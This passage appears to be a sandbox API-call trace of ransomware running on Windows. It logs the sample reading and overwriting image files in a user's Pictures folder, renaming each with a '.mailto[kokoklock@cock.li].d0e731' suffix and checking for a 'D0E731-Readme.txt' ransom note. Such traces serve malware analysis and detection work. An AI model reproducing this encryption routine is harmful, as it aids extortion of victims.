WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf5bfe38*=0x6c, lpOverlapped=0x0) returned 1 [0065.609] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf5bfe38*=0x20, lpOverlapped=0x0) returned 1 [0065.609] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf5bfe38*=0x4, lpOverlapped=0x0) returned 1 [0065.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4d8) returned 1 [0065.609] CloseHandle (hObject=0x7c8) returned 1 [0065.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e67c8 [0065.612] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" [0065.612] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" [0065.612] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.613] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.613] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png", dwFileAttributes=0x20) returned 0 [0065.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.613] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.613] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.613] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426e60) returned 1 [0065.614] RtlExitUserThread (Status=0x1) Thread: id = 336 os_tid = 0x13b8 [0065.615] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp")) returned 0x20 [0065.615] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp", dwFileAttributes=0x20) returned 1 [0065.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.615] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf63f8f0 | out: lpFileSize=0xf63f8f0*=10532) returned 1 [0065.615] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x2920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.615] ReadFile (in: hFile=0x7c8, lpBuffer=0xf63f8c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0xf63f8c4*, lpNumberOfBytesRead=0xf63f8c0*=0x4, lpOverlapped=0x0) returned 1 [0065.616] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be488 [0065.616] NtQuerySystemTime (in: CurrentTime=0xf63f89c | out: CurrentTime=0xf63f89c*=132121176235031514) returned 0x0 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x39370f38 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x409abb99 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x29374c1f [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x8007f439 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xa04bd8aa [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x497c9441 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xe6c53f25 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x1bf3f320 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xa3f5c070 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x98155666 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x7fe880bc [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x39a741cd [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x96da968 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x6cd345c7 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x76a396f7 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xed365339 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xd50d820f [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xcd7c33a5 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x87b39ccd [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xdc373f5a [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x2c6370dc [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xe197d539 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x7175a095 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x7b117679 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xad62b826 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x925a1d58 [0065.616] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x29755b88 [0065.617] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0x7f4f6831 [0065.617] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xd0ff99ca [0065.617] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xeebd54fe [0065.617] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xba25d256 [0065.617] RtlRandom (in: Seed=0xf63f8a8 | out: Seed=0xf63f8a8) returned 0xd75aa433 [0065.690] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2924, lpNumberOfBytesRead=0xf63f89c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf63f89c*=0x2924, lpOverlapped=0x0) returned 1 [0065.691] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xf63f864 | out: lpNewFilePointer=0x0) returned 1 [0065.691] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x2924, lpNumberOfBytesWritten=0xf63f898, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf63f898*=0x2924, lpOverlapped=0x0) returned 1 [0065.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be528 [0065.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be528) returned 1 [0065.691] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf63f894, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf63f894*=0x20, lpOverlapped=0x0) returned 1 [0065.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0x34be500*, lpNumberOfBytesWritten=0xf63f8c0*=0x8, lpOverlapped=0x0) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0xf63f8d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0xf63f8d8*, lpNumberOfBytesWritten=0xf63f8c0*=0x4, lpOverlapped=0x0) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf63f8c0*=0x4, lpOverlapped=0x0) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf63f8c0*=0x6c, lpOverlapped=0x0) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf63f8c0*=0x20, lpOverlapped=0x0) returned 1 [0065.692] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf63f8c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf63f8c0*=0x4, lpOverlapped=0x0) returned 1 [0065.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4d8) returned 1 [0065.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.692] CloseHandle (hObject=0x7c8) returned 1 [0065.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e67c8 [0065.693] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" [0065.693] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" [0065.694] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.694] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.695] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp", dwFileAttributes=0x20) returned 0 [0065.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.695] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.695] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.695] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34273a8) returned 1 [0065.695] RtlExitUserThread (Status=0x1) Thread: id = 337 os_tid = 0x13bc [0065.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg")) returned 0x20 [0065.737] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg", dwFileAttributes=0x20) returned 1 [0065.737] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.737] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf6bf960 | out: lpFileSize=0xf6bf960*=23361) returned 1 [0065.737] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x5b3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.737] ReadFile (in: hFile=0x7c8, lpBuffer=0xf6bf934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0xf6bf934*, lpNumberOfBytesRead=0xf6bf930*=0x4, lpOverlapped=0x0) returned 1 [0065.737] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4d8 [0065.738] NtQuerySystemTime (in: CurrentTime=0xf6bf90c | out: CurrentTime=0xf6bf90c*=132121176236277864) returned 0x0 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x6d23a2bd [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x64a978a3 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x29096856 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x850d03e0 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x6d25a0b6 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x215d2de9 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x463163d2 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xbeb13818 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x84407896 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x6f93ca58 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x86279972 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xb50b3208 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x53611c38 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x9a1fcda6 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x422ed47f [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xa0631fb9 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x5ce4db4a [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xf86d9740 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xdba7a7bc [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xe1d0e2be [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x276f57aa [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x23fe9374 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x8fcbb285 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x56c9b184 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xfce0f379 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xbcde99cc [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x58349568 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x5defe390 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xa576c6f7 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0x55fa2e93 [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xf09d3bcf [0065.738] RtlRandom (in: Seed=0xf6bf918 | out: Seed=0xf6bf918) returned 0xc47295d6 [0065.749] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.749] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf6bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf6bf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0065.749] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be550 [0065.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be550) returned 1 [0065.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be550 [0065.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be550) returned 1 [0065.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.750] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf6bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf6bf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0065.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.750] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x5b41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.750] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf6bf91c, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf6bf91c*=0x20, lpOverlapped=0x0) returned 1 [0065.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0x34be528*, lpNumberOfBytesWritten=0xf6bf930*=0x8, lpOverlapped=0x0) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0xf6bf948*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0xf6bf948*, lpNumberOfBytesWritten=0xf6bf930*=0x4, lpOverlapped=0x0) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf6bf930*=0x4, lpOverlapped=0x0) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf6bf930*=0x6c, lpOverlapped=0x0) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf6bf930*=0x20, lpOverlapped=0x0) returned 1 [0065.751] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf6bf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf6bf930*=0x4, lpOverlapped=0x0) returned 1 [0065.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be528) returned 1 [0065.751] CloseHandle (hObject=0x7c8) returned 1 [0065.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2c30 [0065.753] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" [0065.753] wcscat (in: _Dest=0x33e2c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" [0065.753] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.754] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0065.755] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg", dwFileAttributes=0x20) returned 0 [0065.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.755] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.755] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.755] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.755] RtlFreeHeap (HeapHandle=0x33c0000, 